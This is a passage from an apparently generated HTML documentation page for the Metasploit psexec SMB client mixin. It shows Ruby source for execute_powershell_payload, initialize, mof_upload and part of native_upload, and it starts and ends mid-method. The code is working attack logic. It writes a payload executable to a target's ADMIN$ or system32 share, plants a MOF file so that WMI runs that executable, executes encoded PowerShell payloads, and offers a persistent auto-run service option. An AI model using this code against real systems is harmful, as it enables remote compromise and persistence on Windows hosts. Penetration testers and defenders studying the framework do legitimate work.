</span> <span class='kw'>if</span> <span class='lparen'>(</span><span class='id identifier rubyid_exclusive_access'>exclusive_access</span><span class='lparen'>(</span><span class='id identifier rubyid_text'>text</span><span class='comma'>,</span> <span class='id identifier rubyid_smb_share'>smb_share</span><span class='comma'>,</span> <span class='id identifier rubyid_r_ip'>r_ip</span><span class='rparen'>)</span><span class='rparen'>)</span>
<span class='kw'>break</span>
<span class='kw'>elsif</span> <span class='lparen'>(</span><span class='id identifier rubyid_i'>i</span> <span class='op'>==</span> <span class='id identifier rubyid_retries'>retries</span><span class='rparen'>)</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Command seems to still be executing. Try increasing RETRY and DELAY</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_output'>output</span> <span class='op'>=</span> <span class='id identifier rubyid_get_output'>get_output</span><span class='lparen'>(</span><span class='id identifier rubyid_text'>text</span><span class='comma'>,</span> <span class='id identifier rubyid_smb_share'>smb_share</span><span class='comma'>,</span> <span class='id identifier rubyid_r_ip'>r_ip</span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_cleanup_after'>cleanup_after</span><span class='lparen'>(</span><span class='id identifier rubyid_bat'>bat</span><span class='comma'>,</span> <span class='id identifier rubyid_smb_share'>smb_share</span><span class='comma'>,</span> <span class='id identifier rubyid_r_ip'>r_ip</span><span class='rparen'>)</span>
<span class='id identifier rubyid_output'>output</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="execute_powershell_payload-instance_method">
#<strong>execute_powershell_payload</strong> &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 274</span>
<span class='kw'>def</span> <span class='id identifier rubyid_execute_powershell_payload'>execute_powershell_payload</span>
<span class='const'>ENV</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>MSF_SERVICENAME</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_NAME</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span>
<span class='id identifier rubyid_command'>command</span> <span class='op'>=</span> <span class='id identifier rubyid_cmd_psh_payload'>cmd_psh_payload</span><span class='lparen'>(</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_encoded'>encoded</span><span class='comma'>,</span> <span class='id identifier rubyid_payload_instance'>payload_instance</span><span class='period'>.</span><span class='id identifier rubyid_arch'>arch</span><span class='period'>.</span><span class='id identifier rubyid_first'>first</span><span class='rparen'>)</span>
<span class='kw'>if</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>PSH::persist</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span> <span class='kw'>and</span> <span class='kw'>not</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>DisablePayloadHandler</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span>
<span class='id identifier rubyid_print_warning'>print_warning</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='comment'># Execute the powershell command
</span> <span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Executing the payload...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>begin</span>
<span class='id identifier rubyid_psexec'>psexec</span><span class='lparen'>(</span><span class='id identifier rubyid_command'>command</span><span class='rparen'>)</span>
<span class='kw'>rescue</span> <span class='const'>RubySMB</span><span class='op'>::</span><span class='const'>Error</span><span class='op'>::</span><span class='const'>CommunicationError</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_exec_command_error'>exec_command_error</span>
<span class='id identifier rubyid_vprint_error'>vprint_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - Possibly failed to execute the specified command (error: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_exec_command_error'>exec_command_error</span><span class='embexpr_end'>}</span><span class='tstring_content'>)</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span> <span class='kw'>unless</span> <span class='id identifier rubyid_session_created?'>session_created?</span>
<span class='kw'>rescue</span> <span class='const'>StandardError</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_exec_command_error'>exec_command_error</span>
<span class='id identifier rubyid_fail_with'>fail_with</span><span class='lparen'>(</span><span class='const'><span class='object_link'><a href="../../../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Module/Failure.html" title="Msf::Module::Failure (module)">Failure</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Module/Failure.html#Unknown-constant" title="Msf::Module::Failure::Unknown (constant)">Unknown</a></span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - Unable to execute the specified command (error: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_exec_command_error'>exec_command_error</span><span class='embexpr_end'>}</span><span class='tstring_content'>)</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="initialize-instance_method">
#<strong>initialize</strong>(info = {}) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 23</span>
<span class='kw'>def</span> <span class='id identifier rubyid_initialize'>initialize</span><span class='lparen'>(</span><span class='id identifier rubyid_info'>info</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
<span class='kw'>super</span>
<span class='id identifier rubyid_register_options'>register_options</span><span class='lparen'>(</span>
<span class='lbracket'>[</span>
<span class='const'><span class='object_link'><a href="../../../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_NAME</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>The service name</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='kw'>nil</span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
<span class='const'><span class='object_link'><a href="../../../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_DISPLAY_NAME</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>The service display name</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='kw'>nil</span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
<span class='const'><span class='object_link'><a href="../../../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_DESCRIPTION</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Service description to be used on target for pretty listing</span><span class='tstring_end'>&quot;</span></span><span class='comma'>,</span><span class='kw'>nil</span><span class='rbracket'>]</span><span class='rparen'>)</span>
<span class='rbracket'>]</span><span class='comma'>,</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_class'>class</span><span class='rparen'>)</span>
<span class='id identifier rubyid_register_advanced_options'>register_advanced_options</span><span class='lparen'>(</span>
<span class='lbracket'>[</span>
<span class='const'><span class='object_link'><a href="../../../../OptBool.html" title="Msf::OptBool (class)">OptBool</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../../../OptBool.html#initialize-instance_method" title="Msf::OptBool#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_PERSIST</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Create an Auto run service and do not remove it.</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='kw'>false</span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
<span class='const'><span class='object_link'><a href="../../../../OptInt.html" title="Msf::OptInt (class)">OptInt</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../../../OptBase.html#initialize-instance_method" title="Msf::OptBase#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>CMD::DELAY</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>A delay (in seconds) before reading the command output and cleaning up</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='int'>3</span><span class='rbracket'>]</span><span class='rparen'>)</span>
<span class='rbracket'>]</span><span class='comma'>,</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_class'>class</span><span class='rparen'>)</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="mof_upload-instance_method">
#<strong>mof_upload</strong>(smb_share) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 364</span>
<span class='kw'>def</span> <span class='id identifier rubyid_mof_upload'>mof_upload</span><span class='lparen'>(</span><span class='id identifier rubyid_smb_share'>smb_share</span><span class='rparen'>)</span>
<span class='id identifier rubyid_share'>share</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\ADMIN$</span><span class='tstring_end'>&quot;</span></span>
<span class='id identifier rubyid_filename'>filename</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>.exe</span><span class='tstring_end'>&quot;</span></span>
<span class='comment'># payload as exe
</span> <span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Trying wbemexec...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Uploading Payload...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>if</span> <span class='id identifier rubyid_smb_share'>smb_share</span> <span class='op'>!=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>ADMIN$</span><span class='tstring_end'>&#39;</span></span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Wbem will only work with ADMIN$ share</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='kw'>return</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_connect'>connect</span><span class='lparen'>(</span><span class='id identifier rubyid_share'>share</span><span class='rparen'>)</span>
<span class='id identifier rubyid_exe'>exe</span> <span class='op'>=</span> <span class='id identifier rubyid_generate_payload_exe'>generate_payload_exe</span>
<span class='id identifier rubyid_fd'>fd</span> <span class='op'>=</span> <span class='id identifier rubyid_smb_open'>smb_open</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\system32\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>rwct</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='label'>write:</span> <span class='kw'>true</span><span class='rparen'>)</span>
<span class='id identifier rubyid_fd'>fd</span> <span class='op'>&lt;&lt;</span> <span class='id identifier rubyid_exe'>exe</span>
<span class='id identifier rubyid_fd'>fd</span><span class='period'>.</span><span class='id identifier rubyid_close'>close</span>
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Created %SystemRoot%\\system32\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='comment'># mof to cause execution of above
</span> <span class='id identifier rubyid_mofname'>mofname</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alphanumeric'>rand_text_alphanumeric</span><span class='lparen'>(</span><span class='int'>14</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>.MOF</span><span class='tstring_end'>&quot;</span></span>
<span class='id identifier rubyid_mof'>mof</span> <span class='op'>=</span> <span class='id identifier rubyid_generate_mof'>generate_mof</span><span class='lparen'>(</span><span class='id identifier rubyid_mofname'>mofname</span><span class='comma'>,</span> <span class='id identifier rubyid_filename'>filename</span><span class='rparen'>)</span>
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Uploading MOF...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_fd'>fd</span> <span class='op'>=</span> <span class='id identifier rubyid_smb_open'>smb_open</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\system32\\wbem\\mof\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_mofname'>mofname</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>rwct</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='label'>write:</span> <span class='kw'>true</span><span class='rparen'>)</span>
<span class='id identifier rubyid_fd'>fd</span> <span class='op'>&lt;&lt;</span> <span class='id identifier rubyid_mof'>mof</span>
<span class='id identifier rubyid_fd'>fd</span><span class='period'>.</span><span class='id identifier rubyid_close'>close</span>
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Created %SystemRoot%\\system32\\wbem\\mof\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_mofname'>mofname</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='comment'># Disconnect from the ADMIN$
</span> <span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_disconnect'>disconnect</span><span class='lparen'>(</span><span class='id identifier rubyid_share'>share</span><span class='rparen'>)</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="native_upload-instance_method">
#<strong>native_upload</strong>(smb_share, filename, service_encoder) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 293</span>
<span class='kw'>def</span> <span class='id identifier rubyid_native_upload'>native_upload</span><span class='lparen'>(</span><span class='id identifier rubyid_smb_share'>smb_share</span><span class='comma'>,</span> <span class='id identifier rubyid_filename'>filename</span><span class='comma'>,</span> <span class='id identifier rubyid_service_encoder'>service_encoder</span><span class='rparen'>)</span>
<span class='comment'># Upload the shellcode to a file
</span> <span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Uploading payload... </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_smbshare'>smbshare</span> <span class='op'>=</span> <span class='id identifier rubyid_smb_share'>smb_share</span>
<span class='id identifier rubyid_fileprefix'>fileprefix</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_end'>&quot;</span></span>
<span class='comment'># if SHARE = Users/sasha/ or something like this
</span> <span class='kw'>if</span> <span class='id identifier rubyid_smbshare'>smbshare</span> <span class='op'>=~</span> <span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>.[\\\/]</span><span class='regexp_end'>/</span></span>
<span class='id identifier rubyid_subfolder'>subfolder</span> <span class='op'>=</span> <span class='kw'>true</span>
<span class='id identifier rubyid_smbshare'>smbshare</span> <span class='op'>=</span> <span class='id identifier rubyid_smb_share'>smb_share</span><span class='period'>.</span><span class='id identifier rubyid_dup'>dup</span>
<span class='id identifier rubyid_smbshare'>smbshare</span> <span class='op'>=</span> <span class='id identifier rubyid_smbshare'>smbshare</span><span class='period'>.</span><span class='id identifier rubyid_gsub'>gsub</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>^[\\\/]</span><span class='regexp_end'>/</span></span><span class='comma'>,</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_folder_list'>folder_list</span> <span class='op'>=</span> <span class='id identifier rubyid_smbshare'>smbshare</span><span class='period'>.</span><span class='id identifier rubyid_split'>split</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>[\\\/]</span><span class='regexp_end'>/</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_smbshare'>smbshare</span> <span class='op'>=</span> <span class='id identifier rubyid_folder_list'>folder_list</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span>
<span class='id identifier rubyid_fileprefix'>fileprefix</span> <span class='op'>=</span> <span class='id identifier rubyid_folder_list'>folder_list</span><span class='lbracket'>[</span><span class='int'>1</span><span class='op'>..</span><span class='op'>-</span><span class='int'>1</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_map'>map</span> <span class='lbrace'>{</span><span class='op'>|</span><span class='id identifier rubyid_a'>a</span><span class='op'>|</span> <span class='id identifier rubyid_a'>a</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\</span><span class='tstring_end'>&quot;</span></span><span class='rbrace'>}</span><span class='period'>.</span><span class='id identifier rubyid_join'><span class='object_link'><a href="../../../../../top-level-namespace.html#join-instance_method" title="#join (method)">join</a></span></span><span class='period'>.</span><span class='id identifier rubyid_gsub'>gsub</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>\\$</span><span class='regexp_end'>/</span></span><span class='comma'>,</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span> <span class='kw'>if</span> <span class='id identifier rubyid_folder_list'>folder_list</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>&gt;</span> <span class='int'>1</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_connect'>connect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_fd'>fd</span> <span class='op'>=</span> <span class='id identifier rubyid_smb_open'>smb_open</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_fileprefix'>fileprefix</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>rwct</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='label'>write:</span> <span class='kw'>true</span><span class='rparen'>)</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_subfolder'>subfolder</span> <span class='op'>=</span> <span class='kw'>false</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_connect'>connect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_fd'>fd</span> <span class='op'>=</span> <span class='id identifier rubyid_smb_open'>smb_open</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>rwct</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='label'>write:</span> <span class='kw'>true</span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_exe'>exe</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_end'>&#39;</span></span>
<span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span> <span class='lbrace'>{</span> <span class='symbol'>:servicename</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_service_name'>service_name</span><span class='comma'>,</span> <span class='symbol'>:serviceencoder</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_service_encoder'>service_encoder</span><span class='rbrace'>}</span>
<span class='kw'>begin</span>
<span class='id identifier rubyid_exe'>exe</span> <span class='op'>=</span> <span class='id identifier rubyid_generate_payload_exe_service'>generate_payload_exe_service</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
<span class='id identifier rubyid_fd'>fd</span> <span class='op'>&lt;&lt;</span> <span class='id identifier rubyid_exe'>exe</span>
<span class='kw'>ensure</span>
<span class='id identifier rubyid_fd'>fd</span><span class='period'>.</span><span class='id identifier rubyid_close'>close</span>
<span class='kw'>end</span>
<span class='kw'>if</span> <span class='id identifier rubyid_subfolder'>subfolder</span>
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Created \\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_fileprefix'>fileprefix</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_content'>...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Created \\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_content'>...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='comment'># Disconnect from the share
</span> <span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_disconnect'>disconnect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='comment'># define the file location
</span> <span class='kw'>if</span> <span class='id identifier rubyid_smb_share'>smb_share</span> <span class='op'>==</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>ADMIN$</span><span class='tstring_end'>&#39;</span></span>
<span class='id identifier rubyid_file_location'>file_location</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>%SYSTEMROOT%\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span>
<span class='kw'>elsif</span> <span class='id identifier rubyid_smb_share'>smb_share</span> <span class='op'>=~</span> <span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>^[a-zA-Z]\$$</span><span class='regexp_end'>/</span></span>
<span class='id identifier rubyid_file_location'>file_location</span> <span class='op'>=</span> <span class='id identifier rubyid_smb_share'>smb_share</span><span class='period'>.</span><span class='id identifier rubyid_slice'>slice</span><span class='lparen'>(</span><span class='int'>0</span><span class='comma'>,</span><span class='int'>1</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>:\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span>
<span class='kw'>else</span>
